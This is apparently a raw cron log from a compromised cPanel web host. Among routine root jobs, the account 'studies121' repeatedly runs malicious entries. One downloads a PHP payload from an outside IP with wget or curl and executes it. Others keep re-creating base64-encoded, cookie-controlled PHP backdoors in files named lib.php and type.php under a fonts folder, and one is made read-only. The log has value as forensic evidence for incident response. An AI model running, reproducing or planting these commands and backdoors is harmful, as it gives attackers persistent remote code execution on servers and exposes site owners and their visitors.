Sep 20 04:14:01 ip-184-168-122-23 CROND[14662]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 04:14:01 ip-184-168-122-23 CROND[14666]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 04:14:01 ip-184-168-122-23 CROND[14668]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 04:15:01 ip-184-168-122-23 CROND[14936]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 04:15:02 ip-184-168-122-23 CROND[14939]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 04:15:02 ip-184-168-122-23 CROND[14941]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 04:15:02 ip-184-168-122-23 CROND[14944]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 04:15:02 ip-184-168-122-23 CROND[14945]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 04:15:02 ip-184-168-122-23 CROND[14947]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 04:15:02 ip-184-168-122-23 CROND[14946]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep 20 04:16:01 ip-184-168-122-23 CROND[15186]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 04:16:01 ip-184-168-122-23 CROND[15188]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 04:16:01 ip-184-168-122-23 CROND[15190]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 04:16:01 ip-184-168-122-23 CROND[15191]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 20 04:16:01 ip-184-168-122-23 CROND[15192]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 04:16:01 ip-184-168-122-23 CROND[15189]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 04:17:01 ip-184-168-122-23 CROND[15430]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 04:17:01 ip-184-168-122-23 CROND[15434]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 04:17:01 ip-184-168-122-23 CROND[15432]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 04:17:01 ip-184-168-122-23 CROND[15433]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 04:18:01 ip-184-168-122-23 CROND[15674]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 04:18:01 ip-184-168-122-23 CROND[15675]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 04:18:01 ip-184-168-122-23 CROND[15677]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 04:18:01 ip-184-168-122-23 CROND[15676]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 04:18:01 ip-184-168-122-23 CROND[15678]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 04:19:02 ip-184-168-122-23 CROND[15922]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 04:19:02 ip-184-168-122-23 CROND[15926]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 04:19:02 ip-184-168-122-23 CROND[15925]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 04:19:02 ip-184-168-122-23 CROND[15924]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 04:20:01 ip-184-168-122-23 CROND[16160]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 20 04:20:01 ip-184-168-122-23 CROND[16164]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 04:20:01 ip-184-168-122-23 CROND[16165]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 04:20:01 ip-184-168-122-23 CROND[16167]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 04:20:01 ip-184-168-122-23 CROND[16169]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 04:20:01 ip-184-168-122-23 CROND[16168]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 20 04:20:01 ip-184-168-122-23 CROND[16170]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 04:20:01 ip-184-168-122-23 CROND[16178]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 04:20:01 ip-184-168-122-23 CROND[16176]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 04:21:01 ip-184-168-122-23 CROND[16492]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 04:21:01 ip-184-168-122-23 CROND[16493]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 04:21:01 ip-184-168-122-23 CROND[16494]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 04:21:01 ip-184-168-122-23 CROND[16495]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 04:22:01 ip-184-168-122-23 CROND[16742]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 04:22:01 ip-184-168-122-23 CROND[16744]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 04:22:01 ip-184-168-122-23 CROND[16746]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 04:22:01 ip-184-168-122-23 CROND[16745]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 04:22:01 ip-184-168-122-23 CROND[16748]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 04:23:01 ip-184-168-122-23 CROND[16984]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 04:23:01 ip-184-168-122-23 CROND[16987]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 04:23:01 ip-184-168-122-23 CROND[16986]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 04:23:01 ip-184-168-122-23 CROND[16990]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 04:24:01 ip-184-168-122-23 CROND[17217]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 04:24:01 ip-184-168-122-23 CROND[17220]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 04:24:01 ip-184-168-122-23 CROND[17221]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 04:24:01 ip-184-168-122-23 CROND[17222]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 04:24:01 ip-184-168-122-23 CROND[17224]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 04:25:01 ip-184-168-122-23 CROND[17461]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 04:25:01 ip-184-168-122-23 CROND[17463]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 04:25:01 ip-184-168-122-23 CROND[17467]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep 20 04:25:01 ip-184-168-122-23 CROND[17468]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 04:25:01 ip-184-168-122-23 CROND[17466]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 04:25:01 ip-184-168-122-23 CROND[17465]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 04:25:01 ip-184-168-122-23 CROND[17464]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 04:26:01 ip-184-168-122-23 CROND[17726]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 04:26:01 ip-184-168-122-23 CROND[17727]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
